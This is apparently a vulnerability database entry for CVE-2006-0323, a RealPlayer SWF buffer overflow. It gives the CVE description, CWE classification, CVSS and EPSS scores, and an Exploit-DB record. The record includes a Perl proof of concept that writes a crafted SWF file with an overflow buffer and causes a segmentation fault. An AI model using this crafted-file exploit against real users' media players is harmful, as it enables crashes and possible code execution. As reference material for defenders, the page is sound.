CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in swfformat.dll in multiple RealNetworks products and versions including RealPlayer 10.x, RealOne Player, Rhapsody 3, and Helix Player allows remote attackers to execute arbitrary code via a crafted SWF (Flash) file with (1) a size value that is less than the actual size, or (2) other unspecified manipulations.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
28.82%
–
–
2022-04-03
–
–
28.82%
–
–
2023-03-12
–
–
–
96.87%
–
2023-05-14
–
–
–
96.87%
–
2023-12-03
–
–
–
96.77%
–
2024-02-11
–
–
–
96.78%
–
2024-06-02
–
–
–
96.78%
–
2024-07-14
–
–
–
96.81%
–
2024-12-22
–
–
–
95.88%
–
2025-01-19
–
–
–
95.88%
–
2025-03-18
–
–
–
–
42.44%
2025-03-30
–
–
–
–
36.38%
2025-04-22
–
–
–
–
32.89%
2025-04-22
–
–
–
–
32.89,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2006-03-22 23h00 +00:00 Author : Federico L. Bossi Bonin EDB Verified : Yes
source: https://www.securityfocus.com/bid/17202/info
Various RealNetworks products are prone to multiple buffer-overflow vulnerabilities.
These issues can result in memory corruption and facilitate arbitrary code execution. A successful attack can allow remote attackers to execute arbitrary code in the context of the application to gain unauthorized access.
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
###################################################
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so
my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";
my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
"\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
"\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
"\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
"\x00\x00\x00";
open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;
for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}
print EGG $buffer;
print EGG $endheader;
close(EGG);